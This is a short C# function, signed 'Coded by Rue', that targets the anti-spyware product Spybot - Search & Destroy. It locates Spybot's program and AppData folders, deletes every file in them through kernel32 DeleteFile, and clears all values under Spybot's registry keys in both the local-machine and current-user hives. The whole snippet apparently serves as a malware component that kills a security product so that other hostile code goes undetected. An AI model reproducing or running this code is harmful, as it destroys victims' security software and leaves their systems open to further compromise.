        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern bool DeleteFile(string path);

        static void Spybot()
        {
            //Coded by Rue
            List<string> SpybotPaths = new List<string>();

            string ProgramFiles = Shell32.GetCSIDLPath(Shell32.CSIDL.CSIDL_PROGRAM_FILES);
            SpybotPaths.Add(ProgramFiles + "\\Spybot - Search & Destroy\\");

            string AppData = Shell32.GetCSIDLPath(Shell32.CSIDL.CSIDL_APPDATA);
            SpybotPaths.Add(AppData + "\\Spybot - Search & Destroy\\");

            //Coded by Rue
            foreach (string path in SpybotPaths)
            {
                if (Directory.Exists(path))
                {
                    DirectoryInfo dirInfo = new DirectoryInfo(path);
                    FileInfo[] dirFiles = dirInfo.GetFiles("*.*", SearchOption.AllDirectories);

                    foreach (FileInfo file in dirFiles)
                        try { Kernel32.DeleteFile(file.FullName); }
                        catch { continue; }
                }
            }

            RegistryKey rmLMSpyKeys = Registry.LocalMachine.OpenSubKey("Software\\Safer Networking Limited\\SpybotSnD", true);
            RegistryKey rmCUSpyKeys = Registry.CurrentUser.OpenSubKey("Software\\Safer Networking Limited\\SpybotSnD", true);

            //Coded by Rue
            string[] LMValues = rmLMSpyKeys.GetValueNames();
            foreach (string key in LMValues)
                try { rmLMSpyKeys.DeleteValue(key); }
                catch { continue; }

            string[] CUValues = rmCUSpyKeys.GetValueNames();
            foreach (string key in CUValues)
                try { rmCUSpyKeys.DeleteValue(key); }
                catch { continue; }

            rmCUSpyKeys.Close();
            rmLMSpyKeys.Close();
        }